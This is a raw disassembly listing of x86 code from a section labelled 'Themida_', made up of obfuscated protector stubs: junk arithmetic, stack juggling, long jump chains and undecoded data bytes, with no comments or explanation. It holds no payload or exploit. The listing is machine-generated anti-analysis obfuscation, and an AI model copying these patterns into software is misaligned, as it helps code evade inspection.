		sub	bh, 4Ah
		pop	eax
		add	dl, bh
		pop	ebx
		add	al, 6Dh
		add	al, dl
		sub	al, 6Dh
		mov	edx, [esp]
		jmp	loc_5A7B1D
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 8Dh
		dd 81BCD5DEh, 23711EC1h, 9AC18132h, 1223B51h, 9AE981F1h
		dd 81223B51h, 23711EE9h, 0C1815E32h, 2,	358BE951h
		db 1, 0
; ---------------------------------------------------------------------------


loc_5984CE:				; CODE XREF: Themida_:00599C92j
		mov	esi, 30B35510h
		or	esi, 79DD7221h
		push	edx
		mov	edx, 3B793063h
		and	esi, edx
		pop	edx
		push	5963h
		mov	[esp], ebx
		mov	ebx, 3D1E25C7h
		xor	ebx, 52017B37h
		add	esi, ebx
		jmp	loc_59B0CF
; ---------------------------------------------------------------------------


loc_5984FC:				; CODE XREF: Themida_:005A4B9Dj
		mov	eax, [esp]
		add	esp, 4
		xchg	esi, [esp]
		jmp	loc_59B2A1
; ---------------------------------------------------------------------------


loc_59850A:				; CODE XREF: Themida_:0059C4CBj
		push	esi
		jmp	loc_5A3D3C
; ---------------------------------------------------------------------------


loc_598510:				; CODE XREF: Themida_:0059B918j
					; Themida_:005A4B01j
		jz	loc_5AD674
		shl	ebx, 1
		jnp	loc_5ABFCB
		jmp	loc_5A6310
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4C78300h, 0E9243C87h, 0B622h
; ---------------------------------------------------------------------------


loc_598534:				; CODE XREF: Themida_:005A9161j
		sub	eax, esi
		pop	esi
		pop	ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_5A30BC
; ---------------------------------------------------------------------------


loc_598554:				; CODE XREF: Themida_:005A617Cj
		add	[esp+4], edi
		pop	edi
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5A70A9
; ---------------------------------------------------------------------------


loc_59856E:				; CODE XREF: Themida_:0059955Dj
		add	[esp+8], eax
		push	esi
		jmp	loc_59929C
; ---------------------------------------------------------------------------


loc_598578:				; CODE XREF: Themida_:005A6184j
		pop	esp
		jmp	loc_59B1D6
; ---------------------------------------------------------------------------


loc_59857E:				; CODE XREF: Themida_:loc_59C1A0j
		push	ebp
		jmp	loc_5ACDC7
; ---------------------------------------------------------------------------


loc_598584:				; CODE XREF: Themida_:005A0DBFj
		and	bh, 0F8h
		and	bh, 0ACh
		add	bh, 1
		dec	bh
		xor	bh, 0F0h
		or	cl, bh
		mov	ebx, [esp]
		jmp	loc_5AB874
; ---------------------------------------------------------------------------


loc_59859C:				; CODE XREF: Themida_:005A96F7j
		mov	edi, [esp]
		push	7F0Bh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_59A777
; ---------------------------------------------------------------------------


loc_5985BA:				; CODE XREF: Themida_:005A1A0Bj
		mov	[esp], edx
		push	ecx
		jmp	loc_5AEDB4
; ---------------------------------------------------------------------------


loc_5985C3:				; CODE XREF: Themida_:loc_5A3F09j
		jmp	loc_5AED7E
; ---------------------------------------------------------------------------


loc_5985C8:				; CODE XREF: Themida_:005ABE12j
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A4401
; ---------------------------------------------------------------------------


loc_5985E2:				; CODE XREF: Themida_:005A3631j
		push	dword ptr [esp]
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5A4DA0
; ---------------------------------------------------------------------------


loc_5985F6:				; CODE XREF: Themida_:005A621Ej
		mov	ebp, 2ADD4FA1h
		push	ecx
		jmp	loc_5AA8E5
; ---------------------------------------------------------------------------
		db 80h,	0F5h, 2Bh
		dd 0E959EA88h, 111F9h
; ---------------------------------------------------------------------------


loc_59860C:				; CODE XREF: Themida_:0059C934j
		jmp	loc_5A9A0B
; ---------------------------------------------------------------------------


loc_598611:				; CODE XREF: Themida_:005A1799j
		add	ebx, edx
		sub	ebx, 158E7EFBh
		add	ebx, 2EF07147h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5ACFF5
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 0A30F665Ch, 0E99C2404h, 0FFFFFD50h
; ---------------------------------------------------------------------------


loc_59863C:				; CODE XREF: Themida_:005AF28Ej
		push	esi
		jmp	loc_59A42C
; ---------------------------------------------------------------------------
		dw 4401h
		dd 48B0824h, 4C48324h, 4244429h, 4246C81h, 7DD94E74h, 12720E9h
		dd 0A0C68100h, 296D4916h, 0A0EE81C6h, 586D4916h, 8B243487h
		dd 1C892424h, 1887E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59867A:				; CODE XREF: Themida_:005A9333j
		add	esp, 4
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_598682:				; CODE XREF: Themida_:0059C0DFj
		push	2EEEh
		mov	[esp], ebx
		jmp	loc_599680
; ---------------------------------------------------------------------------
		db 66h
		dd 8166E5D1h, 66FC60F5h, 2C8BE829h, 4C48324h, 57D00166h
		dd 0E7B86650h, 4B4AE928h
		db 1, 0
; ---------------------------------------------------------------------------


loc_5986AE:				; CODE XREF: Themida_:005A6FF3j
		inc	edx
		jle	loc_5AC737
		xor	edx, 0A9910682h
		push	eax
		xor	al, 85h
		push	ebp


loc_5986BF:				; CODE XREF: Themida_:0059B29Cj
		push	ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 590D143Bh
		sub	esp, 4
		jmp	loc_59C126
; ---------------------------------------------------------------------------


loc_5986D6:				; CODE XREF: Themida_:005A7B18j
		pop	ebx
		sub	edx, esi
		pop	esi
		jmp	loc_5AADFE
; ---------------------------------------------------------------------------


loc_5986DF:				; CODE XREF: Themida_:005A0480j
		sub	ecx, 260B540Ah
		push	esi
		jmp	loc_5A5CDD
; ---------------------------------------------------------------------------


loc_5986EB:				; CODE XREF: Themida_:005AD268j
		push	ebp
		push	5F48h
		mov	[esp], eax
		push	293D5F75h
		mov	eax, [esp]
		add	esp, 4
		neg	eax
		js	loc_59ABEA
		add	eax, 8DCF6922h
		push	eax
		add	dword ptr [esp], 72946AA7h
		pop	ebp


loc_598715:				; CODE XREF: Themida_:005AF2D7j
		push	ebx
		mov	bh, 25h
		jmp	loc_5A04BE
; ---------------------------------------------------------------------------
		db 80h,	0CCh, 23h
		dd 83B28F0Fh, 0E4C00000h, 8AEC8006h, 0C2E8890Fh, 0F4800000h
		dd 1A08E959h, 46590000h, 5C04EC83h
; ---------------------------------------------------------------------------


loc_598740:				; CODE XREF: Themida_:005A5DA6j
		mov	edi, 4
		add	esi, 5FEB70F2h
		jmp	loc_59DDEC
; ---------------------------------------------------------------------------
		dd 5F2434FFh, 7BDCE9h
		db 0
; ---------------------------------------------------------------------------


loc_598759:				; CODE XREF: Themida_:005A31F5j
		pop	edi
		mov	eax, ebp
		jmp	loc_5A061F
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 10h
		dd 291DB973h, 0C813E9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59876E:				; CODE XREF: Themida_:0059BBA6j
		push	5DB3h
		mov	[esp], edx
		mov	dh, 0CEh
		jmp	loc_5A43FA
; ---------------------------------------------------------------------------


loc_59877D:				; CODE XREF: Themida_:0059E671j
		mov	[esp], ecx
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_598785:				; CODE XREF: Themida_:005A88A5j
		pop	ecx
		push	ebx
		mov	ebx, 4
		sub	edx, ebx
		jmp	loc_5A49E1
; ---------------------------------------------------------------------------


loc_598793:				; CODE XREF: Themida_:005A9D65j
		push	ecx
		mov	ch, 0F2h
		inc	ch
		xor	ch, 9Ah
		sub	ch, 1
		xor	ch, 0F3h
		add	bl, ch
		pop	ecx
		sub	bl, al
		sub	bl, 9Bh
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_5A4763
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4EC81h, 0C890000h, 0C8B5424h, 5DEDE924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_5987CE:				; CODE XREF: Themida_:005A7C15j
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, edx
		jmp	loc_5A3ECD
; ---------------------------------------------------------------------------


loc_5987E0:				; CODE XREF: Themida_:loc_59CDBFj
		push	esi
		jmp	loc_5A956D
; ---------------------------------------------------------------------------


loc_5987E6:				; CODE XREF: Themida_:loc_5A18ADj
		shr	eax, 4
		js	loc_5A7137
		jmp	loc_5A8F20
; ---------------------------------------------------------------------------
		dd 0FC12F781h, 0FD01E6D0h, 162EE95Fh, 0EE810001h, 58FCF9A3h
		dd 596AE9h
		db 0
; ---------------------------------------------------------------------------


loc_59880D:				; CODE XREF: Themida_:005AC4A7j
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		push	32AF3475h
		pop	edi
		shl	edi, 4
		jmp	loc_5A9BDD
; ---------------------------------------------------------------------------
aI		db '‰,$½',0
		dd 0E5D16B96h, 30E9BE56h, 0F5097B8Eh, 4DD5F75Eh, 0B5BFE9h
		db 0
; ---------------------------------------------------------------------------


loc_59883D:				; CODE XREF: Themida_:005A28C5j
		push	eax
		not	dword ptr [esp]
		jmp	loc_59A902
; ---------------------------------------------------------------------------


loc_598846:				; CODE XREF: Themida_:00598C4Bj
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		shr	ecx, 0Ah
		push	3891h
		mov	[esp], ebx
		push	edx
		jmp	loc_599EAB
; ---------------------------------------------------------------------------


loc_598868:				; CODE XREF: Themida_:005A79DBj
		pop	ecx
		jmp	loc_59F508
; ---------------------------------------------------------------------------
		dw 2489h
		dd 24048124h, 4, 5A2434FFh, 8104C483h, 4C2h, 4C28300h
		dd 10903E9h
		db 0
; ---------------------------------------------------------------------------


loc_59888D:				; CODE XREF: Themida_:005AB513j
		pop	ebx
		jmp	loc_5A613F
; ---------------------------------------------------------------------------


loc_598893:				; CODE XREF: Themida_:005983A3j
		push	ecx
		not	byte ptr [esp]
		pop	ecx
		jmp	loc_5A69D8
; ---------------------------------------------------------------------------
		db 0E9h, 0EAh, 0FAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5988A2:				; CODE XREF: Themida_:0059E907j
		add	eax, edi
		jmp	loc_5A76F1
; ---------------------------------------------------------------------------


loc_5988A9:				; CODE XREF: Themida_:0059B3DEj
		jnz	loc_5A951A
		sub	ecx, 6B34794Ah
		jmp	loc_5AA887
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 59E3B850h, 0E9481850h, 16A3Ch
; ---------------------------------------------------------------------------


loc_5988CC:				; CODE XREF: Themida_:005AA292j
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5A051F
; ---------------------------------------------------------------------------


loc_5988D9:				; CODE XREF: Themida_:005A79BCj
		or	ecx, ebx
		pop	ebx
		push	ebp
		push	ebx
		jmp	loc_5A92CC
; ---------------------------------------------------------------------------


loc_5988E3:				; CODE XREF: Themida_:005A79F4j
		push	ecx
		jmp	loc_5A7FC4
; ---------------------------------------------------------------------------


loc_5988E9:				; CODE XREF: Themida_:00599AE5j
		pop	dword ptr [esp]
		jmp	loc_5A16B3
; ---------------------------------------------------------------------------


loc_5988F1:				; CODE XREF: Themida_:loc_5A6911j
		pop	ecx
		jmp	loc_5A054D
; ---------------------------------------------------------------------------


loc_5988F7:				; CODE XREF: Themida_:005ABF02j
		jnz	loc_598F71
		sub	eax, 0A6E9BDFAh
		mov	ebx, eax
		pop	eax
		push	ebp
		jmp	loc_5AC1B1
; ---------------------------------------------------------------------------
		db 55h
		dd 4C481h, 5FE90000h
		db 64h,	1, 0
; ---------------------------------------------------------------------------


loc_598917:				; CODE XREF: Themida_:005A06F5j
		xor	eax, 0F86E6651h
		push	edi
		mov	edi, eax
		mov	ebx, edi
		jmp	loc_5A3308
; ---------------------------------------------------------------------------


loc_598926:				; CODE XREF: Themida_:005A271Aj
		jb	loc_5AABE8
		add	ebp, 0DBB3D02Bh
		inc	ebp
		sub	ebp, 127AE354h
		sub	ebx, ebp
		jmp	loc_5A2A21
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 324F7058h, 5643D3F7h, 0B08FA4BEh, 5EF329CDh
		dd 815BDE01h, 2EEh, 24348700h, 0A949E9h
		db 0
; ---------------------------------------------------------------------------


loc_598965:				; CODE XREF: Themida_:005AE290j
		sub	ebp, esi
		pop	esi
		jmp	loc_5AB083
; ---------------------------------------------------------------------------


loc_59896D:				; CODE XREF: Themida_:005A2609j
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		dw 51ACh
		dd 0E9F6B450h, 0FFFFFDA1h
; ---------------------------------------------------------------------------


loc_59897C:				; CODE XREF: Themida_:005A54B4j
		neg	eax
		jmp	loc_5A65A6
; ---------------------------------------------------------------------------
		db 81h
		dd 5650E7EBh, 1BEE8127h, 0E9682918h, 0CECBh
; ---------------------------------------------------------------------------


loc_598994:				; CODE XREF: Themida_:00599E8Dj
		shr	ecx, 7
		shr	ecx, 5
		dec	ecx
		push	esi
		mov	esi, 216D4FA1h
		jmp	loc_5A09D7
; ---------------------------------------------------------------------------


loc_5989A6:				; CODE XREF: Themida_:005AB73Cj
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_5ACE0E
; ---------------------------------------------------------------------------


loc_5989B4:				; CODE XREF: Themida_:0059FA35j
		push	eax
		jmp	loc_59E7CE
; ---------------------------------------------------------------------------


loc_5989BA:				; CODE XREF: Themida_:005AECA3j
		mov	edx, ebx
		mov	eax, edx
		pop	edx
		pop	ebx
		sub	ebp, eax
		jmp	loc_5A9F4C
; ---------------------------------------------------------------------------


loc_5989C7:				; CODE XREF: Themida_:loc_5A17DAj
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		push	64C1h
		mov	[esp], ecx
		push	edi
		mov	edi, 199C5B4Bh
		add	edi, 0EC8EBC87h
		mov	ecx, edi
		pop	edi
		mov	ebx, ecx
		jmp	loc_5A412F
; ---------------------------------------------------------------------------
		dd 81E18951h, 4C1h, 4C18100h, 87000000h, 0A0E9240Ch
		db 85h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_598A03:				; CODE XREF: Themida_:005A335Bj
		mov	eax, [esp]
		push	575Ah
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_5AA86D
; ---------------------------------------------------------------------------
		db 53h,	51h, 0E9h
		dd 13678h
; ---------------------------------------------------------------------------


loc_598A1C:				; CODE XREF: Themida_:0059F04Bj
					; Themida_:005A0E60j
		xor	edi, 58D3BBB9h
		sub	ebp, edi
		pop	edi
		pop	eax
		sub	eax, ebp
		pop	ebp
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_598A2E:				; CODE XREF: Themida_:005A17A8j
		add	edi, 4449EF2Bh
		push	edi
		mov	edi, 7C306788h
		jmp	loc_5A5CBD
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0C9D05D8h, 0C7016EC5h, 14502E9h
		db 0
; ---------------------------------------------------------------------------


loc_598A4D:				; CODE XREF: Themida_:0059E19Ej
					; Themida_:005ACCFCj
		add	cl, 1Eh
		neg	cl
		jnp	loc_5AF088
		sub	cl, 31h
		add	cl, 64h
		sub	cl, ah
		sub	cl, 64h
		push	ecx
		push	3123h
		mov	[esp], ecx
		mov	ecx, 73EB3030h
		jmp	loc_5ACED5
; ---------------------------------------------------------------------------
		dw 0E581h
		dd 1A31413Ch, 4D86E581h, 0ED815DE0h, 10F5C4B2h,	1282DE9h
		dd 58C63100h, 2414F756h, 0EFBB535Eh, 0E91F1F74h, 91D8h
		dd 81665D66h, 2902246Ch, 7401660Ah, 81660224h, 29022444h
		dd 6C81660Ah, 1FAA0224h, 246C8166h, 663D9602h, 0E924348Bh
		dd 0B1E4h
; ---------------------------------------------------------------------------


loc_598ACC:				; CODE XREF: Themida_:0059EC89j
		pop	edx
		jmp	loc_5AB672
; ---------------------------------------------------------------------------
		dw 1487h
		dd 0E6815C24h, 3DBD760Ch, 5DCFCE81h, 0C68122A6h, 68A97EAAh
		dd 4EC81h, 4890000h, 31A1B824h,	0D40516B8h, 298C97CAh
		dd 515658C6h, 7367F1B9h, 0B9D1E92Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_598B0A:				; CODE XREF: Themida_:005A1144j
		mov	eax, 155C1E58h
		shr	eax, 7
		sub	eax, 3EC401DAh
		shl	eax, 7
		sub	eax, 8021B9E5h
		add	ebx, eax
		jmp	loc_5AEE2D
; ---------------------------------------------------------------------------


loc_598B26:				; CODE XREF: Themida_:0059CC87j
		push	esi
		mov	esi, 74F60100h
		add	esi, 9422A279h
		sub	ebp, esi
		mov	esi, [esp]
		jmp	loc_59B00A
; ---------------------------------------------------------------------------


loc_598B3C:				; CODE XREF: Themida_:0059A30Bj
		pop	ebp
		jmp	loc_59BC30
; ---------------------------------------------------------------------------


loc_598B42:				; CODE XREF: Themida_:0059C992j
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A17FB
; ---------------------------------------------------------------------------


loc_598B4C:				; CODE XREF: Themida_:005AEAF8j
		push	2A47h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		push	eax
		pop	edi
		jmp	loc_59A7AB
; ---------------------------------------------------------------------------
		dw 2268h
		dd 8900001Bh, 468243Ch,	8B000000h, 0C481243Ch, 4, 4247C01h
		dd 8B2434FFh, 0C483243Ch, 0E1895104h, 364DE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_598B92:				; CODE XREF: Themida_:005AB065j
		push	edx
		mov	dh, 6Bh
		inc	dh
		jle	loc_5A268E
		xor	dh, 97h
		push	eax
		push	ebx
		mov	bl, 2Ah
		xor	bl, 6
		mov	al, bl
		pop	ebx
		sub	dh, al
		pop	eax
		shl	dh, 6
		push	586h
		mov	[esp], eax
		mov	ah, 0B0h
		dec	ah
		not	ah
		not	ah
		jmp	loc_5AC530
; ---------------------------------------------------------------------------


loc_598BC5:				; CODE XREF: Themida_:0059DD9Bj
					; Themida_:005A0E78j
		not	edx
		xor	edx, 0D56EC1BDh
		and	ebp, edx
		pop	edx
		push	ecx
		mov	ecx, 7344092Ah
		and	ebp, ecx
		pop	ecx
		xor	ebp, 6144000Ch
		add	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_5AD335
; ---------------------------------------------------------------------------


loc_598BE9:				; CODE XREF: Themida_:00598ED6j
					; Themida_:005A74D5j
		push	3B7Fh
		mov	[esp], ebp
		jmp	loc_59BD73
; ---------------------------------------------------------------------------


loc_598BF6:				; CODE XREF: Themida_:0059D4A2j
		push	edi
		mov	edi, 4
		push	ebx
		mov	ebx, edi
		mov	edx, ebx
		pop	ebx
		jmp	loc_5AD627
; ---------------------------------------------------------------------------


loc_598C07:				; CODE XREF: Themida_:005A16EFj
		not	ebx
		jmp	loc_5A7949
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 240C3124h, 109A4E9h
		db 0
; ---------------------------------------------------------------------------


loc_598C19:				; CODE XREF: Themida_:005ACD04j
		jmp	loc_5A9C9B
; ---------------------------------------------------------------------------


loc_598C1E:				; CODE XREF: Themida_:005AA5BFj
		neg	ecx
		add	ecx, 14BC0609h
		shl	ecx, 5
		add	ecx, 0D3825416h
		jmp	loc_5994FF
; ---------------------------------------------------------------------------


loc_598C34:				; CODE XREF: Themida_:005A03DEj
		shl	al, 6
		js	loc_59F86B
		jmp	loc_5A04D3
; ---------------------------------------------------------------------------


loc_598C42:				; CODE XREF: Themida_:005A35A3j
		push	1C2Dh
		mov	[esp], esi
		push	esp
		jmp	loc_598846
; ---------------------------------------------------------------------------


loc_598C50:				; CODE XREF: Themida_:00598EBDj
		push	ebx
		jmp	loc_5A8D22
; ---------------------------------------------------------------------------
		dw 0B9BEh
		dd 816EB55Dh, 2E74D5E6h, 6EEE8137h, 0F751E422h,	1BE681DEh
		dd 81336401h, 0DBFEE9C6h, 5EF001DCh, 4EC81h, 4890000h
		dd 2474FF24h, 48F5804h,	24248B24h, 240CFF66h, 0F6F6E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598C96:				; CODE XREF: Themida_:005A3E47j
		mov	al, 5Ah
		not	al
		jmp	loc_59F136
; ---------------------------------------------------------------------------


loc_598C9F:				; CODE XREF: Themida_:005A5575j
		mov	esp, [esp]
		xor	ebx, 3B7C1E7Ah
		js	loc_598F0E
		jmp	loc_5A5393
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0D1E48Ah, 0FF515100h, 0E9042474h, 1E1Eh
; ---------------------------------------------------------------------------


loc_598CC4:				; CODE XREF: Themida_:005A6B11j
		jl	loc_5A7DF9
		sub	ecx, 0E743D3C1h
		mov	edi, ecx
		pop	ecx
		sub	ebp, edi
		mov	edi, [esp]
		pop	edi


loc_598CD9:				; CODE XREF: Themida_:005A13C5j
		add	esp, 4
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_59D48D
; ---------------------------------------------------------------------------
		db 1, 0EFh, 8Bh
		dd 0C483242Ch, 2C78104h, 87000000h, 0D35C243Ch,	0E99C2404h
		dd 0A9EAh
; ---------------------------------------------------------------------------


loc_598D08:				; CODE XREF: Themida_:005A1486j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 553E18C3h
		jmp	loc_59BF32
; ---------------------------------------------------------------------------
		dd 52505658h, 420AE3BAh, 67BE564Bh, 3116716Ch, 0D0895EF2h
		dd 58C6895Ah, 15EF201h,	84EA81FAh, 815D3366h, 643691EAh
		dd 0BEA8121h, 5F0C9604h, 8B241487h, 4B682424h, 0E9000076h
		dd 1337Fh
; ---------------------------------------------------------------------------


loc_598D58:				; CODE XREF: Themida_:0059CC2Fj
		or	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	edx, 67FF3EF2h
		jmp	loc_59AD80
; ---------------------------------------------------------------------------


loc_598D6B:				; CODE XREF: Themida_:0059E3A9j
					; Themida_:005AA495j
		push	esi
		mov	esi, 215D4521h
		shl	esi, 8
		inc	esi
		js	loc_599A02
		jmp	loc_5A50B4
; ---------------------------------------------------------------------------
		dd 0F6A9F781h, 0D7F7ACE5h, 24EF8147h, 1934B78h,	87585FFEh
		dd 835C2434h, 82E904C4h, 0BE000094h, 16292576h,	6B33EE81h
		dd 8E0F2858h, 28A7h, 0D34FE9h, 1EF82500h, 34871039h, 4875C24h
		dd 24248B24h, 0FF2434FFh, 34FF2434h, 2434FF24h,	0E3B4E959h
		dd 57550000h, 0D42209BFh, 5FFD8907h, 5224BE56h,	0A3E91218h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_598DEB:				; CODE XREF: Themida_:005A921Ej
		or	cl, 0F6h
		jb	loc_5AB8C4
		jmp	loc_59AD58
; ---------------------------------------------------------------------------


loc_598DF9:				; CODE XREF: Themida_:0059904Cj
		sub	esp, 4
		mov	[esp], eax
		push	22B0328Bh
		pop	eax
		not	eax
		and	eax, 2BB3769Ah
		jl	loc_59CDBF
		jmp	loc_59C823
; ---------------------------------------------------------------------------


loc_598E1A:				; CODE XREF: Themida_:00599E94j
		pop	eax
		xor	ebx, 50F5419Dh
		add	ebx, 12282C6Ch
		sub	eax, ebx
		pop	ebx
		jmp	loc_5A302C
; ---------------------------------------------------------------------------
		db 87h
		dd 565C240Ch, 0C6815E54h, 4, 3304C683h,	0B4E92434h, 5100011Eh
		dd 8C374DB9h, 59C82107h, 0AC48F50Dh, 0E9D8F71Eh, 12674h
; ---------------------------------------------------------------------------


loc_598E5C:				; CODE XREF: Themida_:0059CC57j
		jnp	loc_59B6F5
		add	bh, 0B3h
		shr	bh, 1
		shl	bh, 8
		and	bh, 1Ah
		add	bh, 0F6h
		push	eax
		mov	ah, bh
		mov	dl, ah
		pop	eax
		mov	ebx, [esp]
		jmp	loc_5AC0BE
; ---------------------------------------------------------------------------


loc_598E7E:				; CODE XREF: Themida_:005A5D99j
		push	eax
		push	esi
		jmp	loc_5A230B
; ---------------------------------------------------------------------------


loc_598E85:				; CODE XREF: Themida_:0059A684j
		add	ebx, 5AA75DF3h
		jmp	loc_5AC6E5
; ---------------------------------------------------------------------------
		dd 2B8h, 24C38100h, 81173C30h, 5E3068EBh, 0E9C30131h, 15830h
; ---------------------------------------------------------------------------


loc_598EA8:				; CODE XREF: Themida_:005A8528j
		add	ebp, ecx
		jmp	loc_5A5B93
; ---------------------------------------------------------------------------


loc_598EAF:				; CODE XREF: Themida_:005A1327j
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5ACD78
; ---------------------------------------------------------------------------


loc_598EBA:				; CODE XREF: Themida_:005AE5D2j
		mov	ebx, [esp]
		jmp	loc_598C50
; ---------------------------------------------------------------------------


loc_598EC2:				; CODE XREF: Themida_:0059AD7Bj
					; Themida_:005A77EFj
		mov	ebx, 0
		add	ebx, eax
		jmp	loc_5A5D33
; ---------------------------------------------------------------------------


loc_598ECE:				; CODE XREF: Themida_:0059B2F4j
		add	esp, 4
		or	eax, eax
		jz	loc_598BE9
		push	6F7Dh
		jmp	loc_599B97
; ---------------------------------------------------------------------------
		dw 4401h
		dd 6C810424h, 145C0424h, 0E95801E7h, 0B6D9h
; ---------------------------------------------------------------------------


loc_598EF8:				; CODE XREF: Themida_:005A5B80j
		xor	ecx, 626A0381h
		jmp	loc_5AB1C5
; ---------------------------------------------------------------------------
		db 53h
		dd 353FC5BBh, 296E94Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_598F0E:				; CODE XREF: Themida_:00598CA8j
		jmp	loc_59F7FD
; ---------------------------------------------------------------------------


loc_598F13:				; CODE XREF: Themida_:005A4F93j
		jp	loc_5A67AB
		jmp	loc_59A689
; ---------------------------------------------------------------------------
		dw 0FFBFh
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598F23:				; CODE XREF: Themida_:005AAAD2j
		mov	ebx, 29AB6BA2h
		mov	edi, 0FA02B791h
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	edi, 4AEB68C8h
		jns	loc_5A671E
		shl	edi, 6
		xor	edi, 7155B059h
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 6
		push	ebx
		mov	ebx, 94711259h
		sub	eax, 38285947h
		jmp	loc_5AEBCB
; ---------------------------------------------------------------------------


loc_598F68:				; CODE XREF: Themida_:0059A2CFj
		add	bl, 3Fh
		push	ecx
		jmp	loc_5A120C
; ---------------------------------------------------------------------------


loc_598F71:				; CODE XREF: Themida_:loc_5988F7j
		sub	eax, 0A6E9BDFAh
		mov	ebx, eax
		pop	eax
		push	ebp
		jmp	loc_59AD22
; ---------------------------------------------------------------------------


loc_598F7F:				; CODE XREF: Themida_:00599488j
		add	esp, 4
		push	esi
		mov	esi, 19A0603Fh
		sub	ebp, esi
		pop	esi
		pop	ebx
		sub	ebp, 0FFFFFFFFh
		push	ecx
		jmp	loc_59C1A5
; ---------------------------------------------------------------------------


loc_598F9B:				; CODE XREF: Themida_:005A022Cj
		pop	dword ptr [esp]
		jmp	loc_5A5EA8
; ---------------------------------------------------------------------------


loc_598FA3:				; CODE XREF: Themida_:loc_5A7D15j
		add	edx, 481625D6h
		xor	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	esi
		push	esp
		pop	esi
		jmp	loc_5AA70F
; ---------------------------------------------------------------------------


loc_598FB7:				; CODE XREF: Themida_:0059D174j
		sub	edx, 18B41645h
		sub	edx, ebx
		add	edx, 18B41645h
		mov	ebx, [esp]
		jmp	loc_59B757
; ---------------------------------------------------------------------------


loc_598FCD:				; CODE XREF: Themida_:005A7A3Fj
		pop	esp
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	ebp
		push	4E7Ah
		mov	[esp], edi
		jmp	loc_5ADFEA
; ---------------------------------------------------------------------------


loc_598FE4:				; CODE XREF: Themida_:005AC5E1j
		push	ecx
		jmp	loc_5AE630
; ---------------------------------------------------------------------------


loc_598FEA:				; CODE XREF: Themida_:0059ED27j
		shl	ebx, 7
		js	loc_59A35C
		jmp	loc_59C03D
; ---------------------------------------------------------------------------


loc_598FF8:				; CODE XREF: Themida_:005A9E84j
		add	esp, 4
		add	ebp, 5A26685Ch
		add	ebp, edx
		jmp	loc_599309
; ---------------------------------------------------------------------------


loc_59900B:				; CODE XREF: Themida_:0059B7CDj
		sub	esp, 4
		jmp	loc_5A7DA2
; ---------------------------------------------------------------------------


loc_599016:				; CODE XREF: Themida_:0059FB3Ej
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		push	2587h
		mov	[esp], ecx
		jmp	loc_59A633
; ---------------------------------------------------------------------------


loc_59902D:				; CODE XREF: Themida_:005AC9F7j
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	ecx, 23697840h
		push	7F77h
		mov	[esp], ebp
		jmp	loc_598DF9
; ---------------------------------------------------------------------------


loc_599051:				; CODE XREF: Themida_:0059F18Fj
		push	16DD70B0h
		pop	edx
		sub	edx, 6D28659Ch
		xor	edx, 5B8646DCh
		inc	edx
		sub	edx, 0DA182DBCh
		mov	edi, edx
		push	dword ptr [esp]
		jmp	loc_5A973A
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 1CD35966h, 9E99C24h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_599083:				; CODE XREF: Themida_:loc_59B054j
		jmp	loc_59AB9F
